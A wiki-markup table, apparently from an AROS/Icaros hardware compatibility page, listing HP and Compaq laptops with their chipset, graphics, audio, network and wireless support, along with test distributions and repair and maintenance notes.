| &lt;!--Name--&gt;NC6000 NC8000 NW8000 || &lt;!--Chipset--&gt;855PM with Pentium M 1.5 1.6 1.8GHz 2.0GHz || &lt;!--IDE--&gt;max 160 GB for NW 8000 || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|Ati RV350 mobility 9600 M10 Fire GL T2 ISV use VESA 2D as no laptop display}} || &lt;!--Audio--&gt;{{Yes|Intel AC97 with ADI codec playback only}} || &lt;!--USB--&gt;{{Yes|2 ports}} || &lt;!--Ethernet--&gt;{{No|Broadcom BCM 5705M}} || &lt;!--Wireless--&gt;{{Maybe|mini pci Atheros 5212 BG W400 W500 or Intel - all bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 based [http://amigaworld.net/modules/newbb/viewtopic.php?topic_id=41916&amp;forum=47 works] - Firewire TI TSB43AB22/A - 8 pound 2.5 kg travel weight - an SD slot as well as two PC Card slots - 15-inch UXGA screen (1,600 x 1,200) or 15&quot; SXGA+ (1400 x 1050) (4:3 ratio)  
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Compaq NC6110 NX6110 NC6120 NC6220 NC4200 NC8200 TC4200 || &lt;!--Chipset--&gt;GMA 915GML || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|2D GMA 900}} || &lt;!--Audio--&gt;{{Yes|AC97 with ADI AD1981B playback}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Unk|440x or BCM 5705M or 5751M}} || &lt;!--Wireless--&gt;{{No|Intel IPW 2200 bios locked}} || &lt;!--Test Distro--&gt;Icaros 1.5.2 || &lt;!--Comments--&gt;2005 32bit Sonoma based - Wifi with Atheros AR5007eg if apply hacked bios RISKY else use USB one - (INVENTEC ASPEN UMA MV) (INVENTEC ASPEN DIS PV) - 
|-
| &lt;!--Name--&gt;Compaq C500 CTO aka HP G7000 || &lt;!--Chipset--&gt;Intel 945GM || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 || &lt;!--Audio--&gt;HD Audio with realtek ALC262 codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek 8139 || &lt;!--Wireless--&gt;Broadcom BCM 4311 bios locked || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2005 32bit 
|-
| &lt;!--Name--&gt;HP DV6000 || &lt;!--Chipset--&gt;945GMS || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950 || &lt;!--Audio--&gt;HD Audio IDT 92HD 91B || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Intel PRO 100 VE || &lt;!--Wireless--&gt;{{No|Intel 3945 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 32 bit only - Mosfet FDS6679 common cause of shorts giving no power to the tip. To reset adapter, unplug from AC (mains) and wait 15-30 sec. Then plug in again - 
|-
| Presario F700 series, HP G6000 f730us F750 F750us F755US F756NR F765em || AMD Turion Mono MK-36 2.0Ghz NForce 560m or Twin X2 TK-55 with nForce 610m MCP67 || {{N/A| }} || {{Yes|but needs special sata adapt bit and caddy}} || {{Yes|GF Go 7000m 2D and 3D 640x350 to 1280x800 - ball solder issues due to poor cooling}} || {{Maybe| }} || {{Maybe|uhci and ehci boots}} || {{No|Nvidia }} || {{Yes|Atheros AR5007 bios locked}} || Icaros 1.3.1 and Aros One 1.6 USB || 2006 64bit - f9 boot device f10 bios setup - random freezes after a minutes use means internal ventilation maintenance needed each year essential - No sd card and overall limited phoenix bios options - 
|-
| &lt;!--Name--&gt;Presario v6604au v6608au V3500 || &lt;!--Chipset--&gt;NVIDIA MCP67M with AMD Athlon64 X2 TK 55 amd 1.8ghz || &lt;!--IDE--&gt; || &lt;!--SATA--&gt;{{Yes|SATA 150}} || &lt;!--Gfx--&gt;NVIDIA GeForce Go 7150M 630i or C67 630M MCP67 || &lt;!--Audio--&gt;conexant codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Nvidia or Realtek 10/100 || &lt;!--Wireless--&gt;{{No|Broadcom 4311 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2006 64bit Altec Lansing Stereo Speakers - ball solder issues - 
|-
| &lt;!--Name--&gt;Compaq presario v6610 v6615eo v6620us || &lt;!--Chipset--&gt;Turion 64 X2 mobile TK-55 / 1.8 GHz to athlon 64x2 @ 2.4ghz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|SATA 150}} || &lt;!--Gfx--&gt;{{Yes|geforce 7150 or 7300m 2d and 3d}} || &lt;!--Audio--&gt;{{Yes|AMD HD Audio with IDT codec stereo playback only}} || &lt;!--USB--&gt;3 OHCI EHCI || &lt;!--Ethernet--&gt;{{Maybe| }} || &lt;!--Wireless--&gt;{{No|Broadcom bios locked}} || &lt;!--Test Distro--&gt;Icaros 1.3 -  || &lt;!--Comments--&gt;2007 [http://amigaworld.net/modules/newbb/viewtopic.php?topic_id=40956&amp;forum=48 works well]  - 1 x ExpressCard/54 - SD Card slot - AO4407 test voltage of the Drain side (pins 5-8) with AC adapter and no battery, see 0 volts, connect the battery you should have 10-14v - 
|-
| &lt;!--Name--&gt;v6630em v6642em || &lt;!--Chipset--&gt;nForce 630M with AMD Turion 64 X2 Mobile TL-58 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;NVIDIA GeForce 6150M or 7150M  || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;{{No|Broadcom bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2007 64bit 15.4 in 1280 x 800 ( WXGA ) - 
|-
| &lt;!--Name--&gt;HP Compaq NC6400 || &lt;!--Chipset--&gt;945GM Core Duo || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|GMA 950 2D issues and no 3d}} || &lt;!--Audio--&gt;{{No|HD Audio AD1981HD}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|BCM }} || &lt;!--Wireless--&gt;{{No|Broadcom locked}} || &lt;!--Test Distro--&gt;Icaros || &lt;!--Comments--&gt;2007 - replaced with Atheros AR5007eg if apply hacked bios RISKY else use USB g - 
* 32bit Core Duo T2400 
* 64bit Core 2 Duo T5600 T7600 
|-
| &lt;!--Name--&gt;HP Compaq NV NC6400 || &lt;!--Chipset--&gt;Core Duo + 945PM || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Maybe| }} || &lt;!--Gfx--&gt;{{Maybe|use VESA Radeon x1300M (2D)}} || &lt;!--Audio--&gt;{{Maybe|HD Audio with ADI1981 low volume}} || &lt;!--USB--&gt;{{yes}} || &lt;!--Ethernet--&gt;{{no|BCM 5753M}} || &lt;!--Wireless--&gt;{{No|Intel 3945 ABG bios locked}} || &lt;!--Test Distro--&gt; Icaros 1.4.2 || &lt;!--Opinion--&gt;2007 Harmon Kardon speakers
|-
| &lt;!--Name--&gt;HP Compaq NC6320 || &lt;!--Chipset--&gt;945GM with 
* 32bit Core Duo 1.83GHz T2400 
* 64bit Core2 Duo 1.83GHz T5600 
 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|GMA 950 2D with a little 3D tunnel 213}} || &lt;!--Audio--&gt;{{Maybe|Intel HD Audio with AD1981HD codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No|BCM 5788}} || &lt;!--Wireless--&gt;{{No|Intel 3945 bios locked}} || &lt;!--Test Distro--&gt;Icaros 2 || &lt;!--Comments--&gt;2007 replaced with Atheros AR5007eg if applying hacked wifi bios RISKY!! else use USB - 14.1&quot; or 15 inch XGA 1024x768 - noisy cpu fan for core2 - trackpad rhs acts as window scroller - 
|-
| &lt;!--Name--&gt;HP NC4400 TC4400 Tablet || &lt;!--Chipset--&gt;Core Duo with 82945 chipset || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|bios F.07 limits to 100GB 120GB}} || &lt;!--Gfx--&gt;{{yes|2D and 3D 282 tunnel and gearbox 150}} || &lt;!--Audio--&gt;{{Yes|HD Audio with ADI 1981HD codec via ear phones}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{No|BCM 5753M}} || &lt;!--Wireless--&gt;{{No|Intel 3945 or BCM 4306 - Whitelist BIOS F.0C needed but risky}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;2008 64 bit possible with Core2 - TI SD card reader non bootable - wacom serial digitiser pen not working - 
* 32bit 1.86GHz core duo 
* 64bit 2Ghz T7200, 2.16Ghz Core 2 Duo T7600 2.33GHz 
|-
| &lt;!--Name--&gt;HP Pavilion DV2000 CTO || &lt;!--Chipset--&gt;945GMS || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GMA 950, X3100, Nvidia 8400M || &lt;!--Audio--&gt;HD Audio Conexant CX 20549 Venice || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Nvidia MCP51 || &lt;!--Wireless--&gt;{{No|Broadcom BCM 4311 or Intel 3945 4965 ABG bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 Atheros AR5007eg if apply hacked bios RISKY 
|-
| &lt;!--Name--&gt;Compaq Presario C700 || &lt;!--Chipset--&gt;GMA960 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;X3100 || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;RTL 8139 || &lt;!--Wireless--&gt;{{Maybe|Atheros AR5007 AR5001 AR242x}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 
|-
| &lt;!--Name--&gt;Compaq 2510p 6510b 6710b 6910b || &lt;!--Chipset--&gt;GMA 965GM GL960 || &lt;!--IDE--&gt;{{yes| }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{yes|X3100 some 2d but slow software 3d only}} || &lt;!--Audio--&gt;{{maybe|HD Audio ADI AD1981 HD low volume on head phones}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no|Intel 82566 or Broadcom BCM 5787M}} || &lt;!--Wireless--&gt;{{No|Intel 3945ABG or 4965ABG bios locked}} || &lt;!--Test Distro--&gt;Aspire OS Xenon 2014 || &lt;!--Comments--&gt;2008 no sd card boot support - F9 to choose boot option - [http://forums.mydigitallife.info/threads/7681-This-is-no-request-thread!-HP-COMPAQ-bioses-how-to-modify-the-bios/page111?p=333358#post333358 whitelist removal (risky) bios block for wifi card swap] 
|-
| &lt;!--Name--&gt;CQ40 CQ41 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA Intel}} || &lt;!--Audio--&gt;HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek RTL8101E || &lt;!--Wireless--&gt;{{No|Broadcom BC4310 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 
|-
| &lt;!--Name--&gt;Compaq Presario CQ35 CQ36 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek RTL8101E RTL8102E || &lt;!--Wireless--&gt;{{No|Broadcom BCM4312 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 Compal LA-4743P - 
|-
| &lt;!--Name--&gt;HP Compaq CQ42 CQ43 CQ45 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA }} || &lt;!--Audio--&gt;HD Audio with Coxenant codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek || &lt;!--Wireless--&gt;{{No|Realtek RTL8191SE, Realtek 8188CE}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 (Quanta AX1) 
|-
| &lt;!--Name--&gt;Compaq Presario CQ50 CQ56 || &lt;!--Chipset--&gt;Nvidia MCP78S || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Geforce 8200M || &lt;!--Audio--&gt;nVidia HD Audio with  codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;nvidia MCP77 || &lt;!--Wireless--&gt;{{unk|Atheros AR928X bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 [http://donovan6000.blogspot.co.uk/2013/06/insyde-bios-modding-wifi-and-wwan-whitelists.html bios modding risky] MCP72XE MCP72P MCP78U MCP78S 
|-
| &lt;!--Name--&gt;CQ60 || &lt;!--Chipset--&gt;Single core Sempron to dual turion || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA for Nvidia 8200M}} || &lt;!--Audio--&gt;{{yes|HD Audio}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No| bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 
|-
| &lt;!--Name--&gt;HP DV6700 || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{no|Vesa for Nvidia 8400M}} || &lt;!--Audio--&gt;{{no| }} || &lt;!--USB--&gt;{{no| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No|Intel }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2008 64bit - 
|-
| &lt;!--Name--&gt;CQ60 || &lt;!--Chipset--&gt;Intel C2D || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe|VESA for Nvidia 9200M}} || &lt;!--Audio--&gt;{{yes|HD Audio}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{no| }} || &lt;!--Wireless--&gt;{{No| bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2009 64bit - 
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;CQ57z || &lt;!--Chipset--&gt;AMD slow E-300 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{Maybe|VESA ATi HD 6310 wrestler}} || &lt;!--Audio--&gt;{{unk| }} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{maybe|Realtek RTL8101 RTL8102}} || &lt;!--Wireless--&gt;{{No|RaLink RT5390}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;HP CQ58z 103SA E5K15EA || &lt;!--Chipset--&gt;AMD slow Dual-Core E1-1500 APU with A68M FCH || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{yes| }} || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Radeon HD 7310}} || &lt;!--Audio--&gt;Realtek idt codec || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{yes|Realtek 10/100 BASE-T}} || &lt;!--Wireless--&gt;{{No|Broadcom}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - 39.6 cm (15.6&quot;) HD BrightView LED-backlit (1366 x 768)
|-
| &lt;!--Name--&gt;HP 635 DM1 || &lt;!--Chipset--&gt;AMD slow E-300, E-450 later E2-1800 on SB7x0 SB8x0 SB9x0 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;ATI non efi SATA AHCI - IDE mode || &lt;!--Gfx--&gt;{{Maybe|use VESA 2D - AMD HD6310, 6320 to HD7340}} || &lt;!--Audio--&gt;{{Yes|Realtek ALC270A GR but not Wrestler HDMI Audio}} || &lt;!--USB--&gt;{{yes| }} || &lt;!--Ethernet--&gt;{{Yes|rtl8169 driver covers Realtek RTL8101E RTL8102E}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 14&quot; 1366 x 768 - f9 f10 - external battery - 2 stacked ddr3l sodimm slots max 16Gb under one base plate - removable keyboard - 
|-
| &lt;!--Name--&gt;HP G6 2000-2b10NR 2000-2d10SX 2000-2d80NR || &lt;!--Chipset--&gt;AMD very slow E1-2000 E2-3000M on A50M (soldered) A4-3305A on A60M (socket) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;2.5in  || &lt;!--Gfx--&gt;{{Maybe|VESA AMD Radeon 6320, 6620G, 6520G, 6480G, 6380G}} || &lt;!--Audio--&gt;{{No| }} || &lt;!--USB--&gt;{{No| }} || &lt;!--Ethernet--&gt;{{maybe|Realtek 100 1000}} || &lt;!--Wireless--&gt;{{No|Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit does not support AVX or SSE 4.1 - 39.6-cm (15.6-in) HD LED BrightView (1366×768) - 1 or 2 ddr3l max 8G - 19VDC 3.42A Max 65W Tip 7.4mm x 5.0mm - 
|-
| &lt;!--Name--&gt;HP ProBook 6465B || &lt;!--Chipset--&gt;AMD massively slow A6-3310MX or A6-3410MX with A60M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA AMD 6480G or 6520G}} || &lt;!--Audio--&gt;{{No|IDT 92HD81B1X}} || &lt;!--USB--&gt;{{No| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek 8111}} || &lt;!--Wireless--&gt;{{No|Intel AC 6205 or broadcom 4313 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2013 64bit does not support AVX or SSE 4.1 - 13-inch or 14-inch runs hot - 
|-
| &lt;!--Name--&gt;HP Elitebook 8470p 8570p || &lt;!--Chipset--&gt;Intel Quad i7-3840QM, i7-3610QM, i7-3520M, i5-3210M, i3-3130M, i3-2370M on Intel QM77 chipset || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|set the bios boot options to not fastboot and drive mode IDE rather than AHCI }} || &lt;!--Gfx--&gt;{{Maybe|Vesa 2d for HD4000 with some having switchable Radeon M2000 or 7570M}} || &lt;!--Audio--&gt;{{yes|HDAudio for IDT codec}} || &lt;!--USB--&gt;{{yes|USB2}} || &lt;!--Ethernet--&gt;{{No|Intel 82579LM }} || &lt;!--Wireless--&gt;{{No|Intel, Broadcom, Atheros}} || &lt;!--Test Distro--&gt;64 bit boots from CD* if safe mode 2 is used, although it is possible to remove the 'nodma' and 'debug' entries and boot || &lt;!--Comments--&gt;2013 64bit with SSE4.1 and AVX - 14in 1600 x 900 to 1366 x 768 - 2 DDR3L sodimm slots max 16Gb - TPM 1.2 - dual boot 32/64 bit is working fine - 
|-
| &lt;!--Name--&gt;HP ProBook 6475b, Probook 4445s 4545s, HP Pavilion 15-b115sa, [https://support.hp.com/gb-en/document/c04015674#AbT6 HP mt41 Mobile Thin Client PC] || &lt;!--Chipset--&gt;AMD very slow A4 4300M, A6 4400M 4455M or A8 4500M with AMD A70M A76M FCH || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA 7420 7520G 7640G 7660G}} || &lt;!--Audio--&gt;{{no|HD Audio with idt or realtek codec}} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{No|Realtek RTL8151FH-CG}} || &lt;!--Wireless--&gt;{{No|Intel 6205 or Broadcom BCM 43228 bios locked}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2014 64bit does support AVX or SSE 4.1 - 15.6-inch - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;HP ENVY 15-k112nl K1Y78EA || &lt;!--Chipset--&gt;Intel® Core™ i7 i7-4510U || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;Intel HD4400 and/without NVIDIA® GeForce® GTX 850M || &lt;!--Audio--&gt;{{maybe| }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{no|Intel }} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt;Deadwood usb3 test iso || &lt;!--Comments--&gt;2014 64bit - 15.6&quot; 768p to 1080p - 19.5V 3.33A (65w) 4.62A (90W) 6.15A (120W) AC - 
|-
| &lt;!--Name--&gt;HP Pavilion Gaming Laptop 15-ak002na || &lt;!--Chipset--&gt;Intel 4 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;GTX 950 || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit - 
|-
| &lt;!--Name--&gt;HP ProBook 255 G1, 455 G1 F2P93UT#ABA, 645 G1, Envy 15-j151ea G7V80EA, Envy m6-1310sa (E4R01EA#ABU) || &lt;!--Chipset--&gt;AMD very slow Dual-Core E1-1500, or AMD Quad A4-4300M A8-4500M A10-4600M A4-5150M A6-5350M 2.9Ghz A10-5750M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for 7310, 7420G 7520G 7640G 7660G 8350G 8450G or 8550G, 8650G, 8750G }} || &lt;!--Audio--&gt;{{No|HD Audio IDT 92HD91 codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|realtek}} || &lt;!--Wireless--&gt;{{No|Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit does support AVX or SSE 4.1 - 14in and 15in 1366 x 768 - external battery - 2 ddr3l sodimm slots - 19.5v / 4.62A psu runs hot - 
|-
| &lt;!--Name--&gt;HP ProBook 245 G4, 255 G2, 455 G2, 255 G3, 455 G3, 255 G4 80CB, 255 G5 82F6, 355 G2, HP Pavilion 15-p038na 15-g092sa 15-p091sa 15-G094S 15-p144na 15-p142na, 15-Af156sa || &lt;!--Chipset--&gt;AMD very slow A4-5000 A6-5200, E2-6110, E1-6010 E2-2000, E1-2100 E2-3800, A4-6210 A6-6310 A8-6410, E2-7110, A6-7310 A8-7410 APU on A68M || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata some with cdrw dvdrw || &lt;!--Gfx--&gt;{{Maybe|VESA Radeon R2 R4 R5}} || &lt;!--Audio--&gt;{{no|HD Audio ALC3201-GR}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8102E or Atheros 1GbE}} || &lt;!--Wireless--&gt;{{unk|Qualcomm Atheros AR9565}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2015 64bit most have SSE4 AVX but E2-2000 does not - 15.6-inch (1366 x 768) - 2 ddr3l sodimm slots - small 31Whr or 41Whr external battery covers 240 G4, 245 G4, 250 G4, 255 G4, 256 G4, 14G, 15G - keyboard repair swap requires removal of all components - 
|-
| &lt;!--Name--&gt;HP Elitebook 725 G2, 745 G2, 755 G2 || &lt;!--Chipset--&gt;Amd Quad very slow A6-7050B A8-7150B 1.9GHz A10-7350B || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA on AMD R4 R5 Radeon R6 with DP and vga}} || &lt;!--Audio--&gt;{{No|HD audio with IDT 92HD91}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 PCIe GBE}} || &lt;!--Wireless--&gt;{{no|Broadcom or Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 12.5-inch, 14&quot; or 15.6in (all 1366 x 768) - 19.5V 65w 45W AC adapter - internal pull up tab battery under base which slides off - 2 ddr3l sodimm slots - keyboard swap requires removal of all components - 
|-
| &lt;!--Name--&gt;HP ProBook 645 g2, Probook 445 G2, Probook 245 G2 most have cmos rtc battery || &lt;!--Chipset--&gt;AMD very slow A6-8600 A8-8700 a10- || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Radeon R5 R6}} || &lt;!--Audio--&gt;{{No|HD Audio }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{No|Intel I219V 100/1000}} || &lt;!--Wireless--&gt;{{No|Intel or Qualcomm Atheros}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 14in and 15.6-inch HD (1366 x 768) or FHD 1080p - 2 ddr3l sodimm slots max 16GB - internal battery - hp ac psu tip - 
|-
| &lt;!--Name--&gt;HP Probook 455 G3 should have a cmos battery || &lt;!--Chipset--&gt;AMD slow A10-8700P || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;1 2.5in sata and most should have 9.5mm dvd-rw || &lt;!--Gfx--&gt;{{Maybe|VESA 2D for Radeon R5}} || &lt;!--Audio--&gt;{{No|HDAudio with Conexant CX7501 codec }} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 Realtek RTL8111HSH-CG}} || &lt;!--Wireless--&gt;{{no|RTL8188EE }} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 2 ddr3l sodimm slots - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP Elitebook 725 G3, 745 G3, 755 G3, 725 G4, 745 G4, 755 G4, HP mt43 || &lt;!--Chipset--&gt;Amd slow A8-8600B, A10-8700B, A12-8800B to Quad A8 Pro 9600B to A10 9800 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA on AMD R5 R6 R7 with DP and vga but screen is low res, dull colours, and blurry}} || &lt;!--Audio--&gt;{{No|HD audio with IDT codec}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{No|Broadcom 5762 PCIe GBE}} || &lt;!--Wireless--&gt;{{no|Realtek RTL8723BE-VB}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 12.5-inch (1366 x 768) to 14&quot; and 15.6in - 2 sodimm ddr3 - 19.5V 45W AC slim 4.5mm hp adapter - randomly shuts down and the noisy fans constantly on - keyboard swap problematic - 
|-
| &lt;!--Name--&gt;HP ProBook 645 G3, 655 G3 should have a cmos rtc battery underside of mb || &lt;!--Chipset--&gt;AMD 8th Gen slow A10-8730B, A8-9600B (4c4t) A6-8530B (2c2t) || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;sata || &lt;!--Gfx--&gt;{{Maybe|VESA 2d for AMD R5}} || &lt;!--Audio--&gt;{{No|HD Audio}} || &lt;!--USB--&gt;{{maybe|USB3}} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 RTL8111HSH}} || &lt;!--Wireless--&gt;{{No|Intel or Realtek}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2016 64bit - 15.6in - 2 ddr4 sodimm slots - keyboard repair swap requires removal of all components - 
|-
| &lt;!--Name--&gt;HP ProBook 250 G5 easy cmos and external main battery || &lt;!--Chipset--&gt;Intel i7-6500U, i5-6200U, i3-6100U to slow i3-6006U, N3710 all sse4.1 and avx || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe| }} || &lt;!--Gfx--&gt;{{maybe|VESA 2D for iGPU Intel HD405 to HD520 dGPU skylake or AMD Radeon R5 430M}} || &lt;!--Audio--&gt;{{unk|HDAudio  with Realtek ALC3227 (or ALC282) codec 0x0282 }} || &lt;!--USB--&gt;{{maybe| }} || &lt;!--Ethernet--&gt;{{maybe|rtl8169 rtl8111HSH}} || &lt;!--Wireless--&gt;{{no| }} || &lt;!--Test Distro--&gt;Deadwoods' latest usb3 test iso with noacpi || &lt;!--Comments--&gt;2016 64bit - 15.6 inch 768p - HP ac psu - 2 ddr4 sodimm slots - 
|-
